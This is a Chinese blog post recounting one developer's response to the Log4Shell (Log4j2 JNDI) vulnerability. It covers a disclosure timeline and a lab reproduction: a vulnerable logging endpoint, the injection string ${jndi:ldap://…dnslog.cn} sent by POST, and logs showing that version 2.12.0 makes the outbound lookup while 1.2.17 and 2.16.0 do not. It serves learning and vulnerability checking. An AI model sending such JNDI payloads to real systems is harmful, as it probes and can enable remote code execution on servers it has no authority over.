Log4J 风波, Log4Shell

永远不要小看任何一个部件。

我的故事

12 月 10 号早上,我惯例刷着社交媒体摸鱼,突然就在没营养的 post 间看到一个关键词:log4j。

“都在应急log4j吗?”

“Java生态的一出事就是核弹[吃瓜]”

“连夜应急,安全圈过年了”

……

终于有人贴了个链接,是阿里云应急响应的公众号推送:【漏洞预警】Apache Log4j2 远程代码执行漏洞二次更新通告

01 漏洞描述

Apache Log4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。2021年12月10日,阿里云安全团队发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过,请及时更新至 Apache Log4j 2.15.0-rc2 版本。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。

02 漏洞评级

Apache Log4j 远程代码执行漏洞 严重

严重!

粗略看了一眼,大概就是黑客可以通过 Log4J,建立 JNDI 链接,从而执行自己的命令。明白了大概的事情后还(炫耀性地)往公司 Security 组里提了一嘴,顺带还讨论了公司产品在这方面的安全性。嗯,然后就,lunch time~

然后就没有然后了,我以为只是一个常规 case。故事本该到这也就结束了。

但是。

我错误地低估了电信级商业产品所需要的严谨程度。

在度过了一个轻松的周末后,昨天(周一)开始正式干活。

经历了一波自我反思后,我认为我没有想到以下几点:

  1. 你的代码不用这个包,那打包的时候怎么还有漏出去的?
  2. 你当前的版本不用这个包,那用老版本的客户怎么办?
  3. 你不用这个包,但你里面的 3pp 用了,你怎么跟踪?
  4. 最高紧急优先级,你怎么保证时效性?

很惭愧。要是周五能多想一点就好了。

深挖

大佬提供了几篇博客,我觉得这一篇写的特别细,尤其是在这么短的时间内,图文并茂十分牛逼。

Log4Shell : JNDI Injection via Attackable Log4J

原文来自:ShiftLeft

问题的发现

首先,问题是怎么被发现的?

在我知道的时间线上:

  • Nov.24,阿里云向 Apache 提交 Log4J2 的 RCE (Remote Code Execution) 漏洞。
  • Nov.30,Apache Log4J 开始在 Github 自己提交补丁
  • Dec.6,Apache Log4J 发布 2.15.0 版本。Limit the protocols JNDI can use by default. Limit the servers and classes that can be accessed via LDAP. Fixes LOG4J2-3201.
  • Dec.9,阿里云应急响应开始推送,并在圈内引起讨论。
  • Dec.10,阿里云应急响应更新推送,并出现在了我的时间线上。
  • Dec.13,Apache Log4J 发布 2.16.0 版本。Disable JNDI by default. Completely remove support for Message Lookups.

问题的引入

在 2013 年的时候,version 2.0-beta9 引入了 JNDILookup plugin

参考这篇:log4shell 分析

<TBD 这些需要挖 code,后面补上!>

问题的解决

参考 Github 提交:apache/logging-log4j2, 12 月 6 号左右

<TBD 这些需要挖 code,后面补上!>

尝试复现

试一下在自己的机器上进行漏洞攻防!(首先按照这一篇配好 log4jLog4J 配置

这里复现主要是通过测试 JNDI 对外部域名的访问记录,如上文所言,只要防御方能访问攻击方指定的特定网站,那么理论上攻击方就可以执行任何命令。具体测试方法:对一个 POST 方法,传入一个包含外部域名的 JNDI 命令,并观察外部域名网站的调用记录。如果对机器发送 POST 请求后,外部域名网站有访问记录,那么就可以视为本机器有此漏洞。

外部域名站由 dnslog.cn 提供。该站每次可以随机生成一个子域名,并记录全世界对这个子域名的访问记录。(当然此方法不是很精确,如果有其他人跟你 roll 到同一个随机域名进行测试,那就不好说了。)

Log4J 1.x

首先引入 maven 依赖:

1
2
3
4
5
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<version>1.2.17</version>
</dependency>

配置 log4j.properties 文件,并放在 src/main/resources 路径下:

1
2
3
4
5
6
7
8
9
log4j.rootLogger=INFO,console
log4j.additivity.org.apache=true
#console
log4j.appender.console=org.apache.log4j.ConsoleAppender
log4j.appender.console.Threshold=INFO
log4j.appender.console.ImmediateFlush=true
log4j.appender.console.Target=System.out
log4j.appender.console.layout=org.apache.log4j.PatternLayout
log4j.appender.console.layout.ConversionPattern=%d{yyyy-MM-dd HH:mm:ss} [%p] %m%n

Java 代码调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package fun.kaii.demo.log4j1;

import jakarta.ws.rs.Consumes;
import jakarta.ws.rs.POST;
import jakarta.ws.rs.Path;
import jakarta.ws.rs.Produces;
import jakarta.ws.rs.core.MediaType;
import jakarta.ws.rs.core.Response;
import org.apache.log4j.Logger;

@Path("/op-log4j1/v1")
public class Demo {
public static Logger LOGGER = Logger.getLogger(Demo.class);
@Path("/input")
@POST
@Consumes(MediaType.APPLICATION_JSON)
@Produces(MediaType.APPLICATION_JSON)
public Response postTest(String input) {
System.out.println("log4j1 receive post message: " + input);
LOGGER.info("log4j1 receive post message: " + input);
return Response.status(200).entity("log4j1 receive post message: " + input).build();
}
}

部署到机器上后,到 dnslog 生成一个随机站点,比如 klw5yz.dnslog.cn,然后通过 PostMan 发送 POST 请求,请求的 body 为以下内容:

1
${jndi:ldap://ip5vs1.dnslog.cn}

然后我们就可以在 tomcat 的 log 里面观察到如下报错:啊屁咧,因为 Log4J 1.x 对本次漏洞是安全的,所以无论你怎么调,log 的内容都是正常的,朋友们不要被卡在这里……

1
2
3
4
5
log4j1 receive post message: ${jndi:ldap://xxr49r.dnslog.cn/a}
[INFO] log4j1 receive post message: ${jndi:ldap://xxr49r.dnslog.cn/a}

log4j1 receive post message: ${jndi:ldap://ecddqv.dnslog.cn}
[INFO] log4j1 receive post message: ${jndi:ldap://ecddqv.dnslog.cn}

Log4J 2.x < 2.15

那么我们试一下 Log4J 的 2.x 版本。

同样先引入 maven 依赖:

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.12.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.12.0</version>
</dependency>

然后配置 log4j2.xml 文件,并放在 src/main/resources 路径下:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>

接着 Java 代码调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package fun.kaii.demo.log4j2;

import jakarta.ws.rs.Consumes;
import jakarta.ws.rs.POST;
import jakarta.ws.rs.Path;
import jakarta.ws.rs.Produces;
import jakarta.ws.rs.core.MediaType;
import jakarta.ws.rs.core.Response;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

@Path("/op-log4j2/v1")
public class Demo {
public static Logger LOGGER = LogManager.getLogger();
@Path("/input")
@POST
@Consumes(MediaType.APPLICATION_JSON)
@Produces(MediaType.APPLICATION_JSON)
public Response postTest(String input) {
System.out.println("log4j2 receive post message: " + input);
LOGGER.info("log4j2 receive post message: " + input);
return Response.status(200).entity("log4j2 receive post message: " + input).build();
}
}

同样地生成随机站点、发 POST 请求,然后神奇的 log (完整 log 见附录)报错就出现了:

1
2
3
4
5
6
log4j2 receive post message: ${jndi:ldap://7py31p.dnslog.cn}
2021-12-26 01:26:51,094 http-nio-8080-exec-70 WARN Error looking up JNDI resource [ldap://7py31p.dnslog.cn]. javax.naming.CommunicationException: 7py31p.dnslog.cn:389 [Root exception is java.net.ConnectException: Connection refused: connect]
at com.sun.jndi.ldap.Connection.<init>(Connection.java:238)
at com.sun.jndi.ldap.LdapClient.<init>(LdapClient.java:137)
... ...
[http-nio-8080-exec-70] INFO fun.kaii.demo.log4j2.Demo - log4j2 receive post message: ${jndi:ldap://7py31p.dnslog.cn}

同时,在 dnslog 的站点上,我们看到了从我们的机器泄露出去的 JNDI 请求:

1
2
3
4
5
DNS Query Record	IP Address	Created Time
7py31p.dnslog.cn xx.xx.xx.xx 2021-12-26 xx:26:49
7py31p.dnslog.cn xx.xx.xx.xx 2021-12-26 xx:26:49
7py31p.dnslog.cn xx.xx.xx.xx 2021-12-26 xx:26:48
7py31p.dnslog.cn xx.xx.xx.xx 2021-12-26 xx:26:48

那么到此为止,我们就证明了在此版本的 Log4J 是有 JNDI 远程执行漏洞的。

Log4J 2.x > 2.16

接着我们验证 Apache 官方建议升级的 2.16 版本,是不是就没有这个问题了呢?

在上一节的基础上,把 maven 依赖改成:

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.16.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.16.0</version>
</dependency>

然后重新编译打包部署。

试过了。安全。

Logback

也试一下 Logback 有没有这毛病?

// TODO

扩展阅读

  • Log4Shell : JNDI Injection via Attackable Log4J
  • Exploiting JNDI Injections in Java,介绍了什么是 JNDI 注入攻击
  • log4shell 分析,一个挺详细的代码分析

一些胡思乱想

  • 其实从我的角度来看,一开始 bug 是由阿里测出来 & 报出来的,但是后续的大部分讨论都是发生在英语世界。任重道远啊同志们。

  • 然后又多了一个新闻如下,从 11.24 阿里云向 Apache 报告了这个漏洞开始,就相当于向全世界公开了一把万能钥匙,在此之后的一段时间里,一些国家安全软件的状态确实是非常危险的……嗯,该罚。

    • 12月22日工信部官宣将会取消和阿里云的相关合作,原因在于阿里云明知阿帕奇Log4j2组件存在严重安全漏洞隐患,但却并没有及时汇报,工信部决定暂停合作6个月,之后是否还能继续合作,还要看阿里云的态度以及是否调整完毕。

附录

完整报错 log

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
log4j2 receive post message: ${jndi:ldap://7py31p.dnslog.cn}
http-nio-8080-exec-70 WARN Error looking up JNDI resource [ldap://7py31p.dnslog.cn]. javax.naming.CommunicationException: 7py31p.dnslog.cn:389 [Root exception is java.net.ConnectException: Connection refused: connect]
at com.sun.jndi.ldap.Connection.<init>(Connection.java:238)
at com.sun.jndi.ldap.LdapClient.<init>(LdapClient.java:137)
at com.sun.jndi.ldap.LdapClient.getInstance(LdapClient.java:1609)
at com.sun.jndi.ldap.LdapCtx.connect(LdapCtx.java:2749)
at com.sun.jndi.ldap.LdapCtx.<init>(LdapCtx.java:319)
at com.sun.jndi.url.ldap.ldapURLContextFactory.getUsingURLIgnoreRootDN(ldapURLContextFactory.java:60)
at com.sun.jndi.url.ldap.ldapURLContext.getRootURLContext(ldapURLContext.java:61)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:202)
at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at org.apache.logging.log4j.core.net.JndiManager.lookup(JndiManager.java:172)
at org.apache.logging.log4j.core.lookup.JndiLookup.lookup(JndiLookup.java:56)
at org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:198)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.resolveVariable(StrSubstitutor.java:1060)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:982)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:878)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.replace(StrSubstitutor.java:433)
at org.apache.logging.log4j.core.pattern.MessagePatternConverter.format(MessagePatternConverter.java:132)
at org.apache.logging.log4j.core.pattern.PatternFormatter.format(PatternFormatter.java:38)
at org.apache.logging.log4j.core.layout.PatternLayout$PatternSerializer.toSerializable(PatternLayout.java:334)
at org.apache.logging.log4j.core.layout.PatternLayout.toText(PatternLayout.java:233)
at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:218)
at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:58)
at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.directEncodeEvent(AbstractOutputStreamAppender.java:197)
at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.tryAppend(AbstractOutputStreamAppender.java:190)
at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.append(AbstractOutputStreamAppender.java:181)
at org.apache.logging.log4j.core.config.AppenderControl.tryCallAppender(AppenderControl.java:156)
at org.apache.logging.log4j.core.config.AppenderControl.callAppender0(AppenderControl.java:129)
at org.apache.logging.log4j.core.config.AppenderControl.callAppenderPreventRecursion(AppenderControl.java:120)
at org.apache.logging.log4j.core.config.AppenderControl.callAppender(AppenderControl.java:84)
at org.apache.logging.log4j.core.config.LoggerConfig.callAppenders(LoggerConfig.java:464)
at org.apache.logging.log4j.core.config.LoggerConfig.processLogEvent(LoggerConfig.java:448)
at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:431)
at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:406)
at org.apache.logging.log4j.core.config.AwaitCompletionReliabilityStrategy.log(AwaitCompletionReliabilityStrategy.java:63)
at org.apache.logging.log4j.core.Logger.logMessage(Logger.java:146)
at org.apache.logging.log4j.spi.AbstractLogger.tryLogMessage(AbstractLogger.java:2170)
at org.apache.logging.log4j.spi.AbstractLogger.logMessageTrackRecursion(AbstractLogger.java:2125)
at org.apache.logging.log4j.spi.AbstractLogger.logMessageSafely(AbstractLogger.java:2108)
at org.apache.logging.log4j.spi.AbstractLogger.logMessage(AbstractLogger.java:2002)
at org.apache.logging.log4j.spi.AbstractLogger.logIfEnabled(AbstractLogger.java:1974)
at org.apache.logging.log4j.spi.AbstractLogger.info(AbstractLogger.java:1311)
at fun.kaii.demo.log4j2.Demo.postTest(Demo.java:39)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at org.glassfish.jersey.server.model.internal.ResourceMethodInvocationHandlerFactory.lambda$static$0(ResourceMethodInvocationHandlerFactory.java:52)
at org.glassfish.jersey.server.model.internal.AbstractJavaResourceMethodDispatcher$1.run(AbstractJavaResourceMethodDispatcher.java:124)
at org.glassfish.jersey.server.model.internal.AbstractJavaResourceMethodDispatcher.invoke(AbstractJavaResourceMethodDispatcher.java:167)
at org.glassfish.jersey.server.model.internal.JavaResourceMethodDispatcherProvider$ResponseOutInvoker.doDispatch(JavaResourceMethodDispatcherProvider.java:176)
at org.glassfish.jersey.server.model.internal.AbstractJavaResourceMethodDispatcher.dispatch(AbstractJavaResourceMethodDispatcher.java:79)
at org.glassfish.jersey.server.model.ResourceMethodInvoker.invoke(ResourceMethodInvoker.java:475)
at org.glassfish.jersey.server.model.ResourceMethodInvoker.apply(ResourceMethodInvoker.java:397)
at org.glassfish.jersey.server.model.ResourceMethodInvoker.apply(ResourceMethodInvoker.java:81)
at org.glassfish.jersey.server.ServerRuntime$1.run(ServerRuntime.java:255)
at org.glassfish.jersey.internal.Errors$1.call(Errors.java:248)
at org.glassfish.jersey.internal.Errors$1.call(Errors.java:244)
at org.glassfish.jersey.internal.Errors.process(Errors.java:292)
at org.glassfish.jersey.internal.Errors.process(Errors.java:274)
at org.glassfish.jersey.internal.Errors.process(Errors.java:244)
at org.glassfish.jersey.process.internal.RequestScope.runInScope(RequestScope.java:265)
at org.glassfish.jersey.server.ServerRuntime.process(ServerRuntime.java:234)
at org.glassfish.jersey.server.ApplicationHandler.handle(ApplicationHandler.java:684)
at org.glassfish.jersey.servlet.WebComponent.serviceImpl(WebComponent.java:394)
at org.glassfish.jersey.servlet.WebComponent.service(WebComponent.java:346)
at org.glassfish.jersey.servlet.ServletContainer.service(ServletContainer.java:366)
at org.glassfish.jersey.servlet.ServletContainer.service(ServletContainer.java:319)
at org.glassfish.jersey.servlet.ServletContainer.service(ServletContainer.java:205)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:223)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:158)
at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:185)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:158)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:197)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97)
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:541)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:119)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)
at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:690)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:353)
at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:382)
at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)
at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:872)
at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1705)
at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:748)
Caused by: java.net.ConnectException: Connection refused: connect
at java.net.DualStackPlainSocketImpl.connect0(Native Method)
at java.net.DualStackPlainSocketImpl.socketConnect(DualStackPlainSocketImpl.java:79)
at java.net.AbstractPlainSocketImpl.doConnect(AbstractPlainSocketImpl.java:350)
at java.net.AbstractPlainSocketImpl.connectToAddress(AbstractPlainSocketImpl.java:206)
at java.net.AbstractPlainSocketImpl.connect(AbstractPlainSocketImpl.java:188)
at java.net.PlainSocketImpl.connect(PlainSocketImpl.java:172)
at java.net.SocksSocketImpl.connect(SocksSocketImpl.java:392)
at java.net.Socket.connect(Socket.java:606)
at java.net.Socket.connect(Socket.java:555)
at java.net.Socket.<init>(Socket.java:451)
at java.net.Socket.<init>(Socket.java:228)
at com.sun.jndi.ldap.Connection.createSocket(Connection.java:375)
at com.sun.jndi.ldap.Connection.<init>(Connection.java:215)
... 90 more

[http-nio-8080-exec-70] INFO fun.kaii.demo.log4j2.Demo - log4j2 receive post message: ${jndi:ldap://7py31p.dnslog.cn}
深得我心!博主晚餐加鸡腿!